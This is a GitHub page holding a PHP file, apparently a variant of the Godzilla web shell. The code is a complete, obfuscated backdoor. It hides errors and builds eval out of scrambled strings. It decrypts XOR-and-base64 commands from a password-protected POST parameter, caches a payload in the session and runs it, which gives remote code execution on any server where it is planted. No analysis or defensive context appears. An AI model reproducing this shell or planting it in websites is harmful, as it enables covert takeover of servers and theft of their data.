-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathgodzilla_xor_base64.php
51 lines (51 loc) · 1.28 KB
/
godzilla_xor_base64.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function ee($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
function r(){
$a = "sfdtfdrf";
$b = "d_fdrfdefdpf";
return str_replace("fd", "", $a.$b."dlfdafdcfde");
}
$pass='password114';
$payloadName='payload';
$key='32150285b345c48a';
//$key='1145141919810'
try{
$c = time();
$d = $c;
if($c/$d-1===1 || !isset($_POST[$pass])){
echo 'Error in page';
}else{
throw new Exception($err, 114);
}
}catch(Exception $e){
if (isset($_POST[$pass])){
$data=ee(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=ee($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=ee($payload,$key);
}
$re = r();
$k = $re("z", "", "zbazsze64"."_zdzeczodze");
$l = $re("p", "", "pcprpepaptpe_fp"."upnpcptpipopn");
$f = $l('$payload', $k('ZXZhbCgkcGF5bG9hZCk7'));
$f($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(ee(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=ee($data,$key);
}
}
}
}